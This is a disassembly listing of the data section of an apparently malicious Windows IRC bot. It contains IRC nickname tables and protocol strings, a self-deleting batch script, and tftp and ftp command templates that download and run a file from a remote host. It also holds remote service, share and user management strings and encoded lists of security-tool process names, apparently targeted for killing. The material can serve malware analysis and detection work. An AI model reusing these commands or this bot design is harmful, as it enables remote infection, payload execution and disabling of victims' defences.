		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_44F234
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_44F3C8
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
dword_44F7E8	dd 786573h, 7A656Ch, 78657Ah, 65657274h, 0 ; DATA XREF:	.packed:off_44F9A8o
					; .packed:0044F9ACo ...
dword_44F7FC	dd 646162h, 67616Ch, 6D61747Ch,	7C6562h, 686F777Ch, 7Ch
					; DATA XREF: .packed:0044F9B8o
					; .packed:0044F9BCo ...
		dd 6F747C2Dh, 7C74h, 6375737Ch,	7C6Bh, 63756C7Ch, 7C6Bh
		dd 6275687Bh, 7Dh, 7865737Bh, 7Dh, 6E65677Bh, 7C73h, 756C7C7Ch
		dd 662D7576h, 7Ch, 6B69777Ch, 7C6465h, 6B636973h, 7D7Dh
		dd 3851h, 7C38717Ch, 620061h, 640063h, 660065h,	680067h
		dd 5F0069h, 6B006Ah, 6D006Ch, 6F006Eh, 710070h,	7372h
		dd 750074h, 770076h, 790078h, 7Ah, 70706168h, 79h, 6772h
		dd 7974h, 6667h, 7472h,	666473h, 6975h,	7976756Ch, 0
aTrimy		db 'trimy',0            ; DATA XREF: .packed:0044FA78o
		align 10h
aTruck		db 'truck',0            ; DATA XREF: .packed:0044FA7Co
		align 4
aMuckc		db 'muckc',0            ; DATA XREF: .packed:0044FA80o
aZ		db 'z',0                ; DATA XREF: .packed:0044FA84o
aGsq:					; DATA XREF: .packed:0044FA88o
					; .packed:0044FA8Co ...
		unicode	0, <gsq>,0
off_44F8E8	dd offset loc_425242	; DATA XREF: .packed:0044FA94o
dword_44F8EC	dd 6C62627Ch, 0		; DATA XREF: .packed:0044FA98o
dword_44F8F4	dd 5F7C5Fh, 4D0046h, 5556554Ch,	0 ; DATA XREF: .packed:0044FAA4o
					; .packed:0044FAB8o ...
dword_44F904	dd 646153h, 665E5E5Eh, 62005Eh,	65656C53h, 676E6970h, 0
					; DATA XREF: .packed:0044FAC4o
					; .packed:0044FAC8o ...
aFuck_0		db 'Fuck',0             ; DATA XREF: .packed:0044FAE0o
		align 4
aFree_0		db 'Free',0             ; DATA XREF: .packed:0044FAE4o
		align 2
asc_44F92A	db 'X',0                ; DATA XREF: .packed:0044FAF0o
aBoy		db 'BOY',0              ; DATA XREF: .packed:0044FAF8o
aGirl_0		db 'GIRL',0             ; DATA XREF: .packed:0044FAFCo
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .packed:0044FB00o
		align 10h
aShit		db 'shit',0             ; DATA XREF: .packed:0044FB04o
		align 4
aAha		db 'aha',0              ; DATA XREF: .packed:0044FB08o
aYeah		db 'yeah',0             ; DATA XREF: .packed:0044FB0Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: .packed:0044FB10o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .packed:0044FB14o
		align 4
aMofo		db 'mofo',0             ; DATA XREF: .packed:0044FB18o
		align 4
aTot		db 'tot',0              ; DATA XREF: .packed:0044FB1Co
aLol		db 'lol',0              ; DATA XREF: .packed:0044FB20o
aLoloA		db 'lolo|a|',0          ; DATA XREF: .packed:0044FB24o
aSex4free	db '|sex4free|',0       ; DATA XREF: .packed:0044FB28o
		align 4
a4us		db '|4us|',0            ; DATA XREF: .packed:0044FB2Co
		align 10h
a4you		db '{4you}',0           ; DATA XREF: .packed:0044FB30o
		align 4
a4u		db '|4u|',0             ; DATA XREF: .packed:0044FB34o
		align 10h
a5u		db '5u',0               ; DATA XREF: .packed:0044FB38o
		align 4
a6u		db '6u',0               ; DATA XREF: .packed:0044FB3Co
		align 4
off_44F9A8	dd offset dword_44F7E8	; DATA XREF: sub_418428+41r
					; sub_418428+ECr
		dd offset dword_44F7E8+4
		dd offset dword_44F7E8+8
		dd offset dword_44F7E8+0Ch
		dd offset dword_44F7FC
		dd offset dword_44F7FC+4
		dd offset dword_44F7FC+8
		dd offset dword_44F7FC+10h
		dd offset dword_44F7FC+18h
		dd offset dword_44F7FC+20h
		dd offset dword_44F7FC+28h
		dd offset dword_44F7FC+30h
		dd offset dword_44F7FC+38h
		dd offset dword_44F7FC+40h
		dd offset dword_44F7FC+48h
		dd offset dword_44F7FC+54h
		dd offset dword_44F7FC+5Ch
		dd offset dword_44F7FC+64h
		dd offset dword_44F7FC+68h
		dd offset dword_44F7FC+6Eh
		dd offset dword_44F7FC+70h
		dd offset dword_44F7FC+72h
		dd offset dword_44F7FC+74h
		dd offset dword_44F7FC+76h
		dd offset dword_44F7FC+78h
		dd offset dword_44F7FC+7Ah
		dd offset dword_44F7FC+7Ch
		dd offset dword_44F7FC+7Eh
		dd offset dword_44F7FC+80h
		dd offset dword_44F7FC+82h
		dd offset dword_44F7FC+84h
		dd offset dword_44F7FC+86h
		dd offset dword_44F7FC+88h
		dd offset dword_44F7FC+8Ah
		dd offset dword_44F7FC+8Ch
		dd offset dword_44F7FC+8Eh
		dd offset dword_44F7FC+90h
		dd offset dword_44F7FC+94h
		dd offset dword_44F7FC+96h
		dd offset dword_44F7FC+98h
		dd offset dword_44F7FC+9Ah
		dd offset dword_44F7FC+9Ch
		dd offset dword_44F7FC+9Eh
		dd offset dword_44F7FC+0A0h
		dd offset dword_44F7FC+0A4h
		dd offset dword_44F7FC+0ACh
		dd offset dword_44F7FC+0B0h
		dd offset dword_44F7FC+0B4h
		dd offset dword_44F7FC+0B8h
		dd offset dword_44F7FC+0BCh
		dd offset dword_44F7FC+0C0h
		dd offset dword_44F7FC+0C4h
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ		; "z"
		dd offset aGsq		; "gsq"
		dd offset aGsq+2
		dd offset aGsq+4
		dd offset off_44F8E8
		dd offset dword_44F8EC
		dd offset byte_4F2838
		dd offset byte_4F2839
		dd offset dword_44F8F4
		dd offset byte_4F283A
		dd offset byte_4F283B
		dd offset byte_4F283C
		dd offset byte_4F283D
		dd offset dword_44F8F4+4
		dd offset dword_44F8F4+6
		dd offset dword_44F8F4+8
		dd offset dword_44F904
		dd offset dword_44F904+4
		dd offset dword_44F904+0Ah
		dd offset byte_4F283E
		dd offset dword_44F904+0Ch
		dd offset byte_4F283F
		dd offset byte_4F2840
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset byte_4F2841
		dd offset byte_4F2842
		dd offset asc_44F92A	; "X"
		dd offset byte_4F2843
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot		; "tot"
		dd offset aLol		; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset a4u		; "|4u|"
		dd offset a5u		; "5u"
		dd offset a6u		; "6u"
asc_44FB40:				; DATA XREF: sub_4180CE+6o
		dw 0Ah
		unicode	0, <  >,0
aPing_1		db 'PING',0             ; DATA XREF: sub_418115+50o
		align 10h
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_418115+67o
		align 4
a433_0		db '433',0              ; DATA XREF: sub_418115:loc_41818Co
a432		db '432',0              ; DATA XREF: sub_418115+88o
aNickS_5	db 'NICK %s',0Ah,0      ; DATA XREF: sub_418115+C3o
		align 10h
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_41820B+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__2		db '-|`_\{[]}',0        ; DATA XREF: sub_418428+BCo
					; sub_418428+174r ...
		align 10h
dword_44FBB0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .packed:00418903o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44FBFC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	.packed:00418942o
; ---------------------------------------------------------------------------

loc_44FC18:				; DATA XREF: .packed:00418977o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_44FC2C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: .packed:0041899Eo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418C20+72o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_418CE5+5o
		align 4
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_418CE5+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418D6A+1Co
		align 4
aSS_5		db '%s %s',0            ; DATA XREF: .packed:00418E50o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418E8C+2o
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418EAE+48o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418EAE+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418EAE+140o
		align 4
dword_44FCFC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_419036+5Co
		dd 65726165h, 64h
unk_44FD18	db  2Dh	; -		; DATA XREF: sub_419036+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
unk_44FD40	db  2Dh	; -		; DATA XREF: sub_419036+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .packed:00419196o
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: .packed:004191BFo
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: sub_419229+47o
		align 4
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: sub_419229+54o
		align 10h
aAdd		db 'Add',0              ; DATA XREF: .packed:off_44FE88o
aAdded		db 'Added',0            ; DATA XREF: .packed:off_44FE8Co
		align 4
aDelete_1	db 'Delete',0           ; DATA XREF: .packed:0044FE94o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .packed:0044FE98o
aList_1		db 'List',0             ; DATA XREF: .packed:0044FEA0o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .packed:0044FEA4o
		align 4
aStart_0	db 'Start',0            ; DATA XREF: .packed:0044FEACo
		align 4
aStarted	db 'Started',0          ; DATA XREF: .packed:0044FEB0o
aStop_0		db 'Stop',0             ; DATA XREF: .packed:0044FEB8o
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .packed:0044FEBCo
aPause_0	db 'Pause',0
		align 4
aPaused_0	db 'Paused',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aContinued	db 'Continued',0
		align 8
off_44FE88	dd offset aAdd		; DATA XREF: sub_419350+6Dr
					; sub_419737+50r ...
					; "Add"
off_44FE8C	dd offset aAdded	; DATA XREF: sub_419350+2Dr
					; sub_419737+82r ...
					; "Added"
dword_44FE90	dd 0			; DATA XREF: sub_419350+18r
		dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 44FE5Ch, 44FE64h,	2, 44FE6Ch, 44FE78h, 3
unk_44FEDC	db  2Dh	; -		; DATA XREF: sub_419350+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_44FEF8	db  2Dh	; -		; DATA XREF: sub_419350+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_44FF24	db  2Dh	; -		; DATA XREF: sub_419350+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_419479+3Co
		align 10h
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_419479:loc_4194BFo
		align 4
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_419479:loc_4194C9o
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_419479:loc_4194D3o
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_419479:loc_4194DDo
		align 8
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_419479:loc_4194E7o
		db 'dependent on it.',0
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_419479+8Fo
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_419479:loc_419512o
		align 8
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_419479:loc_419519o
		db 'tServiceCtrlDispatcher.',0
		align 8
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_419479:loc_419520o
		db ' the service.',0
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_419479:loc_419527o
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_419479:loc_419552o
		align 10h
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_419479:loc_419559o
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_419479:loc_419560o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_419479:loc_419567o
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_419479:loc_41956Eo
		align 8
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_419479:loc_419575o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_419479:loc_41957Co
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_419479:loc_419583o
		db 'the state of the service.',0
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_419479:loc_41958Ao
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_419479:loc_419591o
		align 10h
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419479+12Co
		align 4
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_4195F7+25o
		align 4
aUnknown	db '    Unknown',0      ; DATA XREF: sub_4195F7+9Eo
aPaused		db '     Paused',0      ; DATA XREF: sub_4195F7:loc_41969Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_4195F7:loc_4196A3o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_4195F7:loc_4196AAo
aRunning	db '    Running',0      ; DATA XREF: sub_4195F7:loc_4196B1o
aStoping	db '    Stoping',0      ; DATA XREF: sub_4195F7:loc_4196B8o
aStarting	db '   Starting',0      ; DATA XREF: sub_4195F7:loc_4196BFo
aStopped	db '    Stopped',0      ; DATA XREF: sub_4195F7:loc_4196C6o
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_4195F7+EEo
unk_450490	db  2Dh	; -		; DATA XREF: sub_419737+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
dword_4504BC	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_419737+89o
		dd 73252720h, 27h
unk_4504D8	db  2Dh	; -		; DATA XREF: sub_419737+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_41992C+26o
		align 4
unk_450534	db  2Dh	; -		; DATA XREF: sub_41992C+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_41992C+B5o
aNo		db 'No',0               ; DATA XREF: sub_41992C+BCo
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41992C+D0o
		align 4
unk_45057C	db  2Dh	; -		; DATA XREF: sub_419A4D+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_45059C	db  2Dh	; -		; DATA XREF: sub_419A4D+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_4505CC	db  2Dh	; -		; DATA XREF: sub_419A4D+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419B93+50o
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419B93+81o
		align 10h
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419B93+ACo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419B93+D4o
aUnknown_1	db 'Unknown',0          ; DATA XREF: sub_419B93+104o
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419B93:loc_419C9Eo
		align 4
aUser_3		db 'User',0             ; DATA XREF: sub_419B93:loc_419CA5o
		align 10h
aGuest		db 'Guest',0            ; DATA XREF: sub_419B93:loc_419CACo
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419B93+125o
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419B93+14Do
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419B93+178o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419B93+1A0o
		align 10h
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419B93+1CBo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419B93+1F3o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419B93+21Eo
		align 4
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419B93+246o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419B93+271o
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419B93+299o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419B93+2C4o
		align 4
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419B93+2ECo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419B93+317o
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419B93+33Fo
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419B93+36Ao
		align 4
unk_45077C	db  2Dh	; -		; DATA XREF: sub_419B93+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 10h
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_419F61+29o
unk_4507C4	db  2Dh	; -		; DATA XREF: sub_419F61+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aS_29		db '  %S',0             ; DATA XREF: sub_419F61+BAo
		align 10h
unk_4507F0	db  2Dh	; -		; DATA XREF: sub_419F61:loc_41A04Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_419F61+145o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41A0D7+3Bo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41A0D7:loc_41A11Co
		align 10h
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41A0D7:loc_41A126o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41A0D7:loc_41A130o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41A0D7:loc_41A13Ao
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A144o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41A0D7+89o
		align 4
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A0D7:loc_41A16Ao
		align 10h
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41A0D7:loc_41A174o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A17Bo
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41A0D7:loc_41A182o
		align 8
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41A0D7+CFo
		db ' the domain.',0
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41A0D7:loc_41A1ADo
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41A0D7:loc_41A1B4o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41A0D7:loc_41A1BBo
		db 'ord policy requirement.)',0
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41A0D7:loc_41A1D8o
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A1DFo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41A0D7:loc_41A1E6o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41A0D7:loc_41A1EDo
		align 4
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41A0D7:loc_41A1F4o
		align 4
unk_450AF8	db  2Dh	; -		; DATA XREF: sub_41A20B+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 10h
dword_450B20	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_41A20B+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h, 0
dword_450B50	dd 7530h		; DATA XREF: sub_41A689+12r
dword_450B54	dd 65676572h, 2E746964h, 657865h, 6F63736Dh, 6769666Eh
					; DATA XREF: .packed:off_450CA0o
					; .packed:00450CA4o
		dd 6578652Eh, 0
dword_450B70	dd 7374656Eh, 2E746174h, 657865h, 6C62736Dh, 2E747361h
					; DATA XREF: .packed:00450CA8o
					; .packed:00450CACo
		dd 657865h, 7270617Ah, 78652E6Fh, 65h, 7776616Eh, 652E3233h
		dd 6578h, 6176616Eh, 32337770h,	6578652Eh, 0
dword_450BB0	dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 636E6977h, 32336766h
					; DATA XREF: .packed:00450CBCo
		dd 6578652Eh, 6B736174h, 2E6E6F6Dh, 657865h, 646E6150h
		dd 45564161h, 6E69676Eh, 78652E65h, 65h, 69737973h, 2E6F666Eh
		dd 657865h, 7663736Dh, 2E323362h, 657865h, 4C42534Dh, 2E545341h
		dd 657865h, 6B656574h, 2E736469h, 657865h, 696E6550h, 2E323373h
		dd 657865h, 61656262h, 2E656C67h, 657865h, 4D737953h, 50586E6Fh
		dd 6578652Eh, 0
dword_450C44	dd 756E6977h, 652E6470h, 6578h,	736E6977h, 652E7379h, 6578h
					; DATA XREF: .packed:00450CE4o
					; .packed:00450CE8o
		dd 74617373h, 78652E65h, 65h, 65746172h, 6578652Eh, 0
dword_450C74	dd 75643364h, 74616470h, 78652E65h, 65h, 6E757269h, 78652E34h
					; DATA XREF: .packed:00450CF4o
		dd 65h,	72313169h, 346E3435h, 6578652Eh, 0
off_450CA0	dd offset dword_450B54	; DATA XREF: sub_41A334+D1r
		dd offset dword_450B54+0Ch
		dd offset dword_450B70
		dd offset dword_450B70+0Ch
		dd offset dword_450B70+18h
		dd offset dword_450B70+24h
		dd offset dword_450B70+30h
		dd offset dword_450BB0
		dd offset dword_450BB0+10h
